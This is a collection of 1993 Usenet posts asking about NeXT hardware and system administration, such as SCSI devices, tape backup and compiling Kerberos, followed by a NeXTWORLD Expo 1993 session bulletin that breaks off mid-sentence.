From: hans@symbas.UUCP (Hans Aafloy) Newsgroups: comp.sys.mac.hardware,comp.sys.next.sysadmin Subject: Mac vs. NeXT CD-ROM readers Message-ID: <3738@symbas.UUCP> Date: 4 Mar 93 07:28:53 GMT Distribution: world Organization: Symbiotic Computer Systems A/S, Trondheim, Norway A Macintosh CD-ROM reader may be used with both Macs and NeXT systems. But what about NeXT CD-ROM readers? Are those Macintosh-compatible as well ? Any experience, anyone ? Hans ========================================================================== Hans Aafloy hans@symbas.lind.no LindMac A/S Phone: +477 96 73 11 7038 Trondheim, NORWAY Fax: . . . .45 05 ===========================================================================
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin) Subject: backing up a NeXT to a Novell-attached tape drive Message-ID: <1993Mar5.034423.29808@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Fri, 5 Mar 1993 03:44:23 GMT Aside from tar'ing everything up and ftp'ing it over, is there any way to back up a NeXT to a tape drive on a Novell network? We're probably talking about between 500M and 1Gb of resources. John Price-Wilkin jpw@virginia.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software From: qrs@coos.dartmouth.edu (Quabidur R. Safi) Subject: Procomm MTB2900 1.3 GB HD SCSI 2 Message-ID: <C3EKBA.ACq@dartvax.dartmouth.edu> Summary: will it work Keywords: SCSI 2 Hard Drive external Sender: news@dartvax.dartmouth.edu (The News Manager) Organization: Dartmouth College, Hanover, NH Date: Fri, 5 Mar 1993 06:21:09 GMT I have a 1.3 GB Procomm Technologies MTB 2900 external SCSI 2 hard drive. Has anybody had any luck using this HD with NeXTs ? When I do a BuildDisk it identifies it as a Seagate ST3400 (or something) but then fails. Any clues ?
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: SCSI problems with Canon IX-30F scanner Message-ID: <18809@umd5.umd.edu> Date: 5 Mar 93 15:32:38 GMT Sender: news@umd5.umd.edu Organization: University of Maryland, College Park Hi, We have a Canon IX-30F (ROM Rev. 1.03) scanner on our mono. NeXTstation Turbo. We get the following error messages on boot up: s0(5,1) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,1) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,2) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,2) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,3) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,3) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,4) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,4) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,5) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,5) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,6) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,6) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 s0(5,7) ERROR op:0x0 sd_state: 4 SCSI status: 0x2 s0(5,7) ERROR op:0x12 sd_state: 4 SCSI status: 0x2 When the scanner is on, it will eventually lock up the hard drive. When it is off, the system works great. Here's what's on the system: SCSI 1: Seagate ST3283N SCSI 2: Fujitsu M2266S-1024 SCSI 3: MOST RMD-520 O-S SCSI 4: Sony CD-ROM CDU-541 SCSI 5: Canon IX-30F Now, I've tried stripping the system down to a miniumum, and even moved the scanner's SCSI ID to last as NeXTConnection suggested. However, it still hangs the system. We sent the scanner back to NeXTConnection, thinking it was defective, but they sent it back, saying that these messages were normal(!). Does anyone else out there have a IX-30F, and if so, do you get these messages? Thanks, Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Swapping to a raw disk partition In-Reply-To: lees@pomegranate.stanford.edu's message of Thu, 4 Mar 93 10:55:54 GMT To: lees@pomegranate.stanford.edu (David Lees) Message-ID: <CEDMAN.93Mar4080808@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Mar4.105554.4399@leland.Stanford.EDU> Date: Thu, 4 Mar 1993 12:08:08 GMT In article <1993Mar4.105554.4399@leland.Stanford.EDU> lees@pomegranate.stanford.edu (David Lees) writes: A while back there was some discussion about configuring a NeXT to swap to a device (or partition) rather than a swap file. As I recall, this will provide a significant performance improvement. I can't find any documentation about how to configure swapping this way in the man pages or digital librarian. Can anyone tell me how to make this happen ? Sorry. After much back and forth we came the the conclusion that very probably it can't be done (as there doesn't seem to be any code to do it in the kernel) and certainly we don't know how. If someone wants to contradict the former or ameliorate the latter, feel free to speak up. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Trying to compile kerberos V4 on NextStep 3.0 Message-ID: <C3FrKH.K9C@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Fri, 5 Mar 1993 21:55:28 GMT Has anyone done this yet? I can't even get the configuration Make to work. I get: francisr@stupid (371) :make world SRCDIR=/usr/local/src/kerberos make clean-imake make Makefile `Makefile' is up to date. make Makefiles make depend cd util/makedepend; make sh: syntax error at line 1: `(' unexpected *** Exit 2 Stop. *** Exit 1 Stop. Any pointers would be much appreciated. Thanks, -rob francisr@indiana.edu
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: 1993 NeXTWORLD Expo Registration and Information Bulletin Message-ID: <6951@rosie.NeXT.COM> Date: 5 Mar 93 23:28:29 GMT Sender: news@NeXT.COM 1993 NeXTWORLD EXPO REGISTRATION AND INFORMATION BULLETIN On May 25, NeXT Completes the Most Remarkable Transformation in Recent Years in the Industry What: NeXTWORLD Expo When: May 25 - 27, 1993 Where: Moscone Convention Center, San Francisco, California Events: Developer and User Conference and User Group Program Keynotes by Steve Jobs, NeXT & Andy Groves, Intel ..From Black Computers to White - NeXTSTEP for Intel Processors ...Completed and Unveiled _____________________________________________________________________ TABLE OF CONTENTS => NeXTWORLD EXPO INTRODUCTION => ALL NeXTWORLD EXPO EVENT DESCRIPTIONS => NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS => NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS => NeXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES => NeXT USER GROUP PROGRAM AGENDA => TUTORIALS AND BOF MEETINGS => REGISTRATION, HOTEL AND TRAVEL INFORMATION _____________________________________________________________________ => NeXTWORLD EXPO INTRODUCTION The second annual NeXTWORLD EXPO combines a worldwide Developer Conference, User Conference, User Group Program and Product Exposition spanning three days. This year's NeXTWORLD Expo marks the culmination of the most significant event in NeXT's history. At the Expo, NeXT will deliver the completed, shrinkwrapped release of NeXTSTEP for Intel processors. The product that Byte magazine has called, "...the most respected piece of software on the planet..." -- now available on industry-standard computers. When you see NeXTSTEP, we think you'll agree. NeXT's decision to concentrate on object-oriented software, move away from signature black hardware, and devote all company resources to running NeXTSTEP on white hardware--is more than the transformation of a company. It is, in all likelihood, the transformation of an entire industry. We look forward to seeing you at the Expo. As a special offer, all registered NeXTWORLD EXPO attendees will receive an aggressive discount on NeXT's software products available at the Expo. For $695: receive admission to all Developer Conference and User Conference Sessions, attendance to the User Group Program, and admission to the Product Showcase. SPECIAL BONUS...For $995 (a $3,500 value), receive admission to all of the above PLUS a copy of NeXTSTEP for Intel processors User Environment and Development Tools! (See registration form below). _____________________________________________________________________ => ALL NeXTWORLD EXPO EVENT DESCRIPTIONS NeXTWORLD EXPO DEVELOPER CONFERENCE The NeXTWORLD EXPO '93 Developer Conference offers a broad curriculum to the developer community, focusing on creating both shrinkwrapped applications and client/server custom applications. Because the ability to run NeXTSTEP applications on Intel-based computers is now a reality, both the general session and the conference tracks provide valuable information about porting and distribution. Four separate Conference Tracks focus on the business and technical aspects of NeXTSTEP application development. Each track provides a different perspective on understanding and working with NeXTSTEP. To benefit most from the breadth of topics offered at the conference, we encourage you to review and attend sessions from several tracks. A specially priced developer bundle is available which includes registration and a copy of NeXTSTEP for Intel Processors (see registration form below for details). NeXTWORLD EXPO USER CONFERENCE The NeXTWORLD EXPO '93 User Conference offers in-depth information about the use of NeXTSTEP in corporate information systems and on individual desktops. Designed for experienced NeXTSTEP end users, system managers, and IS strategists, the four-track program focuses on the issues of deploying NeXTSTEP in enterprise-wide systems, using NeXTSTEP for maximum benefits, case studies of NeXTSTEP usage in the real world, and comparative looks at the most innovative third-party products in the NeXT market. One session is dedicated to providing a quick start for users who are new to NeXTSTEP, so that they can participate fully in the remainder of the program. Key sessions in each track are repeated so that attendees can participate in as many different sessions as possible. NeXT USER GROUP PROGRAM NoIR (NeXT Organizations InteRnational) is sponsoring a worldwide User Group Program. This year's program theme is "486--An Explosion of New Users Under NeXT's Big Tent." Sessions focus on two tracks: user group leadership and member services. If you want ideas to take back to your group, this program is for you. Last year over 100 groups from around the world were represented and this year we expect many more. With the explosion of new NeXTSTEP users coming this year and next, this program helps you prepare your NeXT User Group for growth and success in 1993 and 1994. In addition to the formal events listed here, several special social events will be held. All user group members attending either the exposition or the conferences are invited to register for the user group program free of charge. KEYNOTE SPEAKERS Steve Jobs - Chairman and CEO of NeXT, Inc. Andy Grove - Chairman and CEO of Intel Corporation Steve Jobs discusses the future of object-oriented, client/server computing. Andy Grove discusses Intel's 486 and Pentium processors, and NeXTSTEP's place in their future. DEVELOPER CONFERENCE GENERAL SESSION Your NeXTSTEP Application and their Hardware Paul Hegarty, NeXT's Director of NeXTSTEP for Intel processors software, explains how to port your application to the Intel platform and leaves ample time to answer your porting questions. USER CONFERENCE GENERAL SESSION 10 Most Wanted NeXTWORLD Editor-in-Chief Dan Ruby leads a panel of NeXTSTEP customers, developers, and user group leaders in reviewing NeXT's accomplishments during the last year and setting the agenda for the year ahead. GENERAL SESSIONS OPEN TO ALL ATTENDEES Bob Metcalfe, Publisher and CEO of InfoWorld Publishing Co., hosts a panel of industry pundits and NeXT customers as they discuss the alternatives among advanced operating systems in the coming battle for the corporate desktop. USER GROUP AUCTION Attend this fun event. A range of products and services from the NeXT community will go to the highest bidder. Proceeds go toward the User Group Program at the Expo. NeXTWORLD MAGAZINE AWARDS NeXTWORLD honors the best and most innovative products in the NeXT market in its first annual award ceremony. Cheer on your favorites as a lineup of NeXT community luminaries announce the winners in each product category. NeXTSTEP PRODUCT EXHIBITION Tuesday, May 25, 11:00 a.m. - 6:00 p.m. Wednesday, May 26, 9:00 a.m. - 6:00 p.m. Thursday, May 27, 9:00 a.m. - 12:00 p.m. Be sure to see over 100 product exhibits and find out why so many companies have embraced NeXTSTEP technology. See the latest in NeXTSTEP hardware and software, and meet with users, resellers, and partners. The Expo also features an ObjectWare Pavillion dedicated to the growing number of NeXTSTEP ObjectWare vendors. _____________________________________________________________________ => NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS MAY 25-27, 1993 ** TRACK ONE ** THEME: NeXTSTEP MEANS BUSINESS This track addresses topics of broad, general interest to the third-party and corporate developer community, including how to evaluate development environments, profiles of NeXTSTEP's markets and customers, how to protect your intellectual property, and 486 distribution issues. A variety of experts, including Peter van Cuylenburg, NeXT's president and chief operating officer, discuss issues geared to business professionals. Technical professionals will benefit from opportunities to hear engineers explain how to succeed in object-oriented development, and to meet key NeXT engineers for a lively Q&A session. No direct NeXTSTEP experience is required for the sessions in this track, but a technical background is sometimes useful. TRACK ONE SESSIONS: ** DISTRIBUTED NeXTSTEP APPLICATIONS ** Erna Arnesen, Director of Channel Sales, NeXT This comprehensive discussion answers question about NeXT's software distribution channels. Distribution partners are identified and ways to ensure successful interaction with developers are explained. Plans for distribution of NeXTSTEP for Intel processors are also presented. ** A DEVELOPER'S GUIDE TO ENTERPRISE-WIDE DEPLOYMENT ** Anita Sansguiri, Project Manager, ADAMATION ADAMATION's project manager describes how they successfully deployed their application at multiple offices of a real estate company. Deployment issues ranging from application development, networking, and database management, to augmenting NeXTSTEP tools are described. ** NeXT's MARKETS AND THEIR DEVELOPMENT OPPORTUNITIES ** Ron Weissman, Director, Strategic Marketing, NeXT David Grady, Developer Advocates, NeXT This is a chance to hear from NeXT about targeted markets, the specific products that customers are requesting, and solutions that would match market requirements. Opportunities for developers and consultants are discussed. ** NeXTSTEP MEANS BUSINESS ** Peter van Cuylenburg, President and COO, NeXT Hear NeXT's president and chief operating officer make the compelling business case for choosing NeXTSTEP. This session outlines where we are headed and how developers can align with NeXT for success. ** PROTECTING YOUR TECHNOLOGY ** Christopher Seline, Esq., Formosa Transnational Attorneys-at-Law Maximizing profit and protecting intellectual property are vital concerns for every developer. This session introduces fundamental legal issues such as copyright, patent, trademark, and trade secret laws and how they relate to computer software. Our speaker has considerable NeXTSTEP and UNIX experience. ** NOTHING's EASIER THAN NeXTSTEP DEVELOPMENT ** Tracy Powell, Senior Developer, WordPerfect Corporation A developer of large commercial applications in both Windows and NeXTSTEP discusses his experiences in cross-platform development. Our speaker ported WordPerfect to NeXTSTEP for Intel processors in a matter of hours and this session describes his experiences. Helpful hints and productivity techniques will be presented. ** SUCCEEDING WITH OBJECT-ORIENTED DEVELOPMENT ** Bruce Webster, Chief Technical Officer, Pages Software Jayson Adams, CEO and Chief Scientist, Millennium Software Labs Accompanying the power that object-oriented technology (OOT) brings to application development are some specific challenges and requirements. In this session, two NeXTSTEP developers describe the insights they gained and the lessons they learned while producing major commercial productivity applications. * "DR. STRANGEAPP, OR HOW I LEARNED TO STOP WORRYING & LOVE ISV'S" * Rob Wilen, Director of Technical Architecture, Swiss Bank Corporation One of NeXT's largest commercial customers explains the techniques and business practices of establishing a productive working relationship with large corporations. ** STRATEGIES FOR DYNAMIC PERSONALIZED SYSTEMS ** Pascal Chernais, Research Specialist, Massachusetts Inst. of Tech. Successful personalization of applications will require an understanding of a users' dynamic needs. The MIT Media Laboratory has been exploring these issues, using new tools such as user modeling, knowledge representation and distributed servers. ** DEVELOPER SUCCESS STORIES ** Panel: NeXTSTEP Developers Based on their real-world experiences, a panel of NeXTSTEP developers describe their paths to success in the NeXTSTEP marketplace. Creative marketing techniques, how to leverage the sales force, and product focus are debated and discussed. ** MEET THE SOFTWARE ENGINEERS ** Panel: NeXT Software Engineers Several software engineers who were integral in creating NeXTSTEP Release 3 join together in this forum to answer your questions. This was a popular session last year, so come early if you want a seat! ** TRACK TWO ** THEME: NeXTSTEP AND THE ENTERPRISE NeXTSTEP and the Enterprise presents issues specific to using NeXTSTEP in large organizations, such as working with large and mixed networks, portability, interoperability, connectivity, distributed computing, and integration of shrinkwrapped applications into custom solutions. Most sessions in this track require a technical background but assume that attendees have no experience working with NeXTSTEP. TRACK TWO SESSIONS: ** INTEGRATING SHRINKWRAPPED APPLICATIONS IN A CUSTOM SOLUTION ** Moderator: David Lavallee, Software Engineer, NeXT Panel: NeXTSTEP Developers It's not always possible to find a shrinkwrapped or custom solution that solves a given problem completely. But applications can be easily integrated. Customers and third-party developers discuss why they would integrate shrinkwrapped software into client/server custom solutions, and the value that results from this merger. ** DEVELOPING OBJ-C APPLICATIONS FOR NeXTSTEP & MICROSOFT WINDOWS ** Christopher Lozinski, Berkeley Productivity Group Walter C. Daugherity, Texas A&M University NeXTSTEP developers have traditionally been faced with a dilemma: Should they develop in Objective-C on NeXTSTEP, or C++ for Microsoft Windows. Now it's possible to develop for both platforms in Objective-C and C++. Developers can use Objective-C with the Borland compiler on the PC, and the GNU compiler on NeXTSTEP. The discussion reports that develop applications for both platforms, describes this experience, and the techniques that work. There will also be a discussion of Smalltalk for NeXTSTEP. ** WORKFLOW TOOLS IN CUSTOM APPLICATION ** Randy Marchessault, Software Engineer, Integrity Solutions Workflow, a popular, but commonly misunderstood buzzword is examined through applying concepts and objects to real-world problems. Discussion centers on representing tasks and task dependencies, implementing group scheduling, resource management, document and information routing, user notification, and recursive schedule divisibility. ** OBJECT-ORIENTED CLIENT/SERVER APPLICATION DESIGN ** Patricia Monk, Director-NeXT Business Unit, Data General Corporation This session explains the key issues of object-oriented client/server application design and layout, including programming tools and techniques to assist in this type of application development. It also discusses how the UI (or lack of it) for server requester objects and server provider objects affects the efficiency of an application. ** NeXTSTEP and OBJECT-ORIENTED DATABASE INTEGRATION ** Moderator: Rick Jackson, Product Manager, NeXT Panel: NeXTSTEP Developers This session emphasizes why OODB technology may be of interest to you, and how it fits with the NeXTSTEP development methodology. Developers discuss their NeXTSTEP projects which involve both ObjectStore and Versant OODB technology. ** ADVANTAGES INHERENT IN ELECTRONIC DOCUMENTATION ** Carla Kay Barlow, Product Documentation, Stone Design Jim Clark, Advanced Technology Group, WilTel A persuasive argument in favor of all-electronic software documentation, this session spans the interests of users and developers from the viewpoint of third party and corporate development efforts. Topics range from the use of NeXTSTEP's on-line help standard to how to develop class specification documentation that facilitates consistent coding style, code reuse and rapid prototyping. ** A NeXTSTEP SHARED DEVELOPMENT ENVIRONMENT ** Moderator: Rick Jackson, Software Product Marketing, NeXT Panel: NeXTSTEP Developers Development teams of more than a few people have special synchronization and code management problems that can delay or prevent system. NeXTSTEP developers discuss current and future solutions for group development. Corporate and third party developers discuss tools they built to solve today. ** SKETCHING OUT A BETTER USER INTERFACE ** Ray Ryan, User Interface Designer, Lighthouse Design Creating excellent user interfaces is frequently more the result of art than science. This session provides some insight into the aesthetics of UI design. The user interface designer of Diagram! 2 discusses techniques for building good user interfaces starting at day one. He will include before and after examples from Diagram! and Diagram! 2 to emphasize how sound UI design techniques help create more usable interfaces. ** TRACK THREE ** THEME: DEVELOPING NeXTSTEP APPLICATIONS This track examines the tools and techniques central to developing your NeXTSTEP applications, such as debugging, Interface Builder, performance tuning, user interface issues, localization, and application validation. Speakers include both third-party and corporate developers who share their knowledge gained "in the trenches", developing popular and productive applications. These sessions are targeted for attendees who have intermediate or advanced NeXTSTEP programming proficiency. TRACK THREE SESSIONS: ** THE ZEN OF DEBUGGING ** Julie Zelenski, Lecturer, Stanford Univ. and Support Engineer, NeXT Need a new bag of tricks for debugging in the NeXTSTEP development environment? Or maybe you're just looking to fill out your current repertoire? In either case, you can learn something new in this challenging and informative session. ** VALIDATING NeXTSTEP APPLICATIONS AND OBJECTS ** Jim Walsh, Software Quality Manager, NeXT Kris Oosting, Manager, Objective Partners It's been said "you can't control what you can't measure", and this holds true for object-oriented development. This session explores the theories of testing your NeXTSTEP applications and objects. ** GETTING MORE SPEED OUT OF YOUR APPLICATION ** Brian Pinkerton, Software Engineer, NeXT Trey Matteson, Manager, Application Kit Group, NeXT Reprising one of last year's most popular sessions, NeXT's engineers take a reasonably slow application and make it faster, before your very eyes. You'll see the steps you need to take to speed your applications' performance. ** INTRODUCTION TO NeXTSTEP PROGRAMMING ** Randy Nelson, Lead Developer Trainer, NeXT If you're just encountering the world of object-oriented programming, this overview of NeXTSTEP features and object technology is extremely useful for understanding context and vocabulary. This session is a must for technical evaluators of the platform. ** UI PERFORMANCE ** Bill Bumgarner, Software Artist, Stone Design Glenn Reid, President, RightBrain Software Enhancing the performance of your application's UI can be crucial to users' success with the application. NeXTSTEP developers describe methods for increasing perceived performance and methods for decreasing actual drawing time. ** BUILDING BETTER NeXTSTEP APPLICATIONS ** Randy Nelson, Lead Developer Trainer, NeXT Proper use of NeXTSTEP significantly increases the power of your application; correspondingly, improper or partial use of NeXTSTEP can decrease your application's usability. An overview of specific topics--user interface, portability, localization, and important kit features--shows you how to build flexibility into your application. References to documentation and other resources are included. ** WRITING DYNAMIC APPLICATIONS ** Tom Affinito, Training Manager, Trirex This lecture explores techniques that add run-time flexibility to your application, including Interface Builder files, NXBundles, distributed objects and embedded languages. ** CREATING INTERFACE BUILDER PALETTES ** Scott Ritchie, Developer Trainer, NeXT Using Interface Builder Palettes can add custom functionality to your interfaces, save development time, and generate valuable re-useable tools. One of NeXT's trainers explains how to build palettes that provide advanced functionality for many different sorts of objects. ** BUILDING REUSABLE OBJECTS ** Eric Bergeson, Objective Technologies Well-rounded classes donUt just happen: they require careful planning and design to become flexible and robust. This session reviews some of the issues that you should consider before writing your first line of code. The discussion includes licensing issues for objects. ** TRACK FOUR ** THEME: UNDER THE HOOD - OBJECTS AND NeXTSTEP FEATURES This track explores the detail level of object technology and specific NeXTSTEP features and kits. Topics include DataBase Kit, Indexing Kit, Driver Kit, Object Links, Help, and filter services. Familiarity with NeXTSTEP programming is recommended for attendees of the sessions. TRACK FOUR SESSIONS: ** GETTING STARTED WITH DATABASE KIT ** Scott Weiner, Developer Trainer, NeXT Learn the basics of NeXTSTEP's newest kit with one of NeXT's trainers. Step through the decisions involved with building a simple DataBase Kit application and see how DataBase Kit can help reduce time and effort in developing a client/server custom application. Time is provided for Q&A at the end of this session. ** REAL-WORLD DATABASE KIT APPLICATIONS ** Moderator: Jerry Goode, Systems Engineer, NeXT Panel: NeXTSTEP Developers A panel of corporate developers and system integrators explain and discuss their real-world development experiences and describe how the DataBase Kit helped them resolve client/server computing issues. ** ADVANCED DATABASE KIT ISSUES ** Moderator: Felix Lin, Product Manager, NeXT Panel: NeXTSTEP Developers Developers of NeXTSTEP Release 3 DataBase Kit applications share their experiences and exchange comments with NeXT's DataBase Kit engineers on some of the technical issues that confront advanced development work. Time is provided for Q&A at the end of this session. ** USING NeXTSTEP RELEASE 3 FEATURES ** Ali Ozer, Software Engineer, NeXT This session reviews several NeXTSTEP Release 3 features, including dragging, Help, filter services, and using color. Use of the and can add considerably to the power and flexibility of your application (and the popularity with your users.) ** OBJECT LINKS IN DETAIL ** Trey Matteson, Manager, Application Kit Group, NeXT Take advantage of the power of object linking...the powerful mechanism that enables documents to share data dynamically. This session explains why and how you should incorporate Object Links into your application. ** PROGRAMMING WITH DISTRIBUTED OBJECTS ** Stephen Asbury, Developer Trainer, NeXT This presentation details the steps you need to take to build a client/server application using distributed objects, one of NeXTSTEP's most powerful tools. Discussion includes invalidation notification, threaded servers, and peer-to-peer architectures. ** WORKING WITH THE INDEXING KIT ** Kris Younger, System Engineer, NeXT The Indexing Kit is a major feature of NeXTSTEP Release 3. The kit provides a framework for storing and managing data, analogous to the framework for user interaction provided by the Application Kit. This session describes the salient features of the Indexing Kit, including transaction-protected storage, building dictionaries and indexes with BTrees, and building flat-file databases that store Objective-C objects. ** DRIVERKIT FOR NeXTSTEP FOR INTEL PROCESSORS ** Phillip Dibner, Developer Support, NeXT A detailed presentation of the differences between traditional UNIX drivers and those written for NeXTSTEP applications on Intel-based computers. A developer support engineer examines a working example and answers your questions about drivers. _____________________________________________________________________ => NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS May 25 - 27, 1993 ** TRACK ONE ** THEME: ENTERPRISE COMPUTING The first stage of desktop computing in corporations was all about enhancing individual and departmental productivity. NeXTSTEP takes corporations to the second stage by advancing the mission of the enterprise. This conference track explores the issues in enterprise computing such as client/server architecture, rightsizing, operational productivity, custom application development, and heterogeneous networking. In every area, NeXTSTEP offers great opportunity for the next stage of corporate computing. TRACK ONE SESSIONS: ** END OF THE PARADOX: OPERATIONAL PRODUCTIVITY ** NeXTSTEP solves the enduring paradox of the information age: Organizations' investment in technology has not resulted in measurable productivity gains. NeXTSTEP changes the equation by focusing on operational productivity. ** WHY OBJECT-ORIENTED PROGRAMMING and NeXTSTEP ** NeXTSTEP achieves its full power when applied in enterprise-wide systems for client/server functions. Discover how object-oriented programming techniques and client/server computing can bring immediate tangible benefits to organizations. ** RIGHTSIZING WITH NeXTSTEP ** As businesses downsize monolithic mainframe applications to distributed client/server systems, they need object-oriented development tools that play in a standard networking environment. NeXTSTEP is an important piece of the rightsizing puzzle for corporate re-engineers. ** ENGINEERING CLIENT/SERVER SYSTEMS ** Talk of rightsizing is cheap. NeXTSTEP gets you started today. This panel of customers, integrators, and system engineers explores the nitty-gritty technical issues of using NeXTSTEP in a client/server architecture. ** DEVELOPING AND DEPLOYING CLIENT/SERVER CUSTOM APPLICATIONS ** NeXTSTEP's object-oriented development environment lets you bring new systems on-line in a fraction of the time needed with competitive products. That calls for a new approach to planning and implementing client/server custom applications. ** ACCESSING CORPORATE DATABASES ** Distributed applications are only as meaningful as the data that is accessed. NeXTSTEP's DataBase Kit and third-party tools let you link into live financial and operational databases residing on mainframes and servers. ** HOW NeXTSTEP FITS INTO YOUR HETEROGENEOUS CORPORATE NETWORK ** Virtually every enterprise today maintains a mixed environment of computer platforms and networks. NeXTSTEP's support of multiple networking standards allows users to easily mix and match computers with their existing information systems. ** CONNECTING THE ENTERPRISE: WANs, LANs. and ISDN ** As business goes global, it isn't enough to interoperate in local networks at individual user sites. Here's how NeXTSTEP systems communicate with other computers in a world-wide distributed computing environment. ** MANAGING APPLICATION DEVELOPMENT PROJECTS ** As NeXTSTEP speeds up the application development cycle, managers face new challenges in strategic and tactical planning. Here's what to expect in budgeting, staffing, managing, and phasing in your custom application projects. ** ISSUES IN SYSTEM ADMINISTRATION ** As NeXTSTEP proliferates in enterprise-wide information systems, the issues of network management and security become increasingly critical. System administrators explore the tools and techniques available for maintaining and securing corporate networks. ** TRACK TWO ** THEME: USING NEXTSTEP NeXTSTEP provides a user environment unlike any other operating system. To get maximum benefit from their systems, users need to know the intricacies of NeXTSTEP and third-party products. This track begins with critical information about running NeXTSTEP for Intel processors, and examines hot topics like portable computing, NeXTSTEP publishing, database management, and collaborative applications. Users can get hands-on help by attending sessions on NeXTSTEP tips and tricks, configuring systems for maximum power, and sources of training and support. TRACK TWO SESSIONS: ** INTRODUCTION TO NeXTSTEP for INTEL PROCESSORS ** NeXT's software guru's take you on a tour of the leading object-oriented operating system for mainstream business computers. ** INTRODUCTION FOR INTEL PROCESSORS: Q&A ** NeXT and NeXTSTEP hardware partners answer questions on software deliverables. ** INTEGRATING INTEL AND MOTOROLA-BASED HARDWARE This session discusses the concerns and addresses the solutions for integrating your existing 68040 hardware with your Intel-based hardware--all running NeXTSTEP. ** READ ALL ABOUT IT: PUBLISHING WITH NeXTSTEP ** NeXTSTEP's unified imaging model, powerful software tools, and workgroup connectivity are ideally suited for graphic design and electronic publishing. Experts explore the available tools for NeXTSTEP publishing, while early adopters describe their experiences. ** MANAGING YOUR DATA ** Database management isn't a task only for programmers and system designers. Here's everything you need to know as a user for specifying and designing database front ends, as well as for managing your individual records. ** NeXTSTEP TIPS and TRICKS ** NeXTSTEP is so rich in capabilities that many users only scratch its surface. To get maximum benefit from NeXTSTEP, you need to know the shortcuts and hidden features available in the system. Power users show you how. ** CONNECTING TO THE WORLD ** There is a wealth of information, free software, and just plain camaraderie available to NeXTSTEP users through the Internet and other information services. This session tells you how and where to plug in to the wonderful world of NeXTSTEP online. ** OBJECT TECHNOLOGY AND YOU ** Besides its benefits for programmers, the rapid development of object technology for NeXTSTEP promises great rewards for the individual NeXTSTEP user. Here is an over-the-horizon look at three of the most important developments in object technology and how they will likely affect the life of the user. ** WORKING TOGETHER WITH COLLABORATIVE SOFTWARE ** Groupware is a computer-industry buzzword that is much discussed and little practiced. In the NeXTSTEP environment, users are taking advantage of applications designed for collaborative work. This panel reviews the available products and illustrates the power of workgroup computing. ** OPTIONS FOR PORTABILITY ** Customers are interested in NeXTSTEP portable computing. But 486 notebooks are not the only option for users who need to take their data on the road. This session looks at strategies for extending your desktop environment to wherever you happen to be. ** TRACK THREE ** THEME: IN THE TRENCHES Customers in business, education, and government have taken great strides in applying NeXTSTEP to solving problems in their fundamental advantages for unifying the desktop, collaborative computing, document management, decision support, and application development. In this track, speakers representing customers in NeXT's key markets share their experiences. TRACK THREE SESSIONS: ** UNIFYING THE DESKTOP ** The goal is no longer to have a computer on every desk, but to have only one computer on every desk. Users in financial services, law enforcement, and hospital administration describe how NeXTSTEP replaced diverse systems in a single workstation. ** ROLLUPS AND DRILLDOWNS: EXECUTIVE INFORMATION SYSTEMS ** NeXTSTEP is ideal for application that deliver live summary data and graphics to executives for decision support. Corporate and government users show how they did it. ** WHY NeXTSTEP -- CUSTOMER PERSPECTIVES ** Choosing NeXTSTEP was once risky. This panel of NeXTSTEP customers in business, government, and education discuss their choice of NeXTSTEP systems and the payoff. ** MANAGING DOCUMENTS ** Whatever happened to the paperless office? It's alive and well in law firms and medical organization employing NeXTSTEP software for document storage and retrieval. ** SERVING YOUR CUSTOMERS ** The greatest challenge in business today is providing timely and accurate service to customers. NeXTSTEP systems provide the informational framework for world-class customer service. Users from health care, financial services, and transportation show how they did it. ** ENTERPRISE TRANSFORMATION ** Technological change does not occur in a vacuum. Sometimes, the technology used can lead to structural and cultural changes in an organization. Panelists from law enforcement, telecommunications, and the energy business explore the positive effects of NeXTSTEP technology on organizational hierarchies, decision making, and customer relations. ** TRAINING FOR SUCCESS ** Training alternatives are critical to meeting the diverse needs of NeXTSTEP developers, users, and systems administrators. This panel includes representatives from NeXT's training consortium, NeXT instructors, and customers whose successes with NeXTSTEP have been accelerated by choosing the right training curriculum. ** WORKFLOW MANAGEMENT ** Most business processes involve contributions and approvals from a variety of individuals. NeXTSTEP is a natural environment for working simultaneously and in series with a group of colleagues. Customers in electronic publishing, a corporate legal department, and university curriculum development describe their collaborative processes under NeXTSTEP. ** COMPREHENSIVE SERVICES AND SUPPORT ** Leading strategies for customer support put the power in customers' hands. Enterprise-wide computing and custom application development depend on timely, accurate support. NeXT delivers this with a professional staff and innovative systems. Learn NeXT's strategy to put the power in your hands. ** TRACK FOUR ** THEME: HOT PRODUCTS The sizzle in the NeXTSTEP market is the varied software solutions offered in hotly contested application categories. In this track, developers demonstrate the best and newest tools for document creation, presentation, financial modeling, database management, business graphics, and software emulation. With this background, users will be better able to examine the strengths and weaknesses of the products 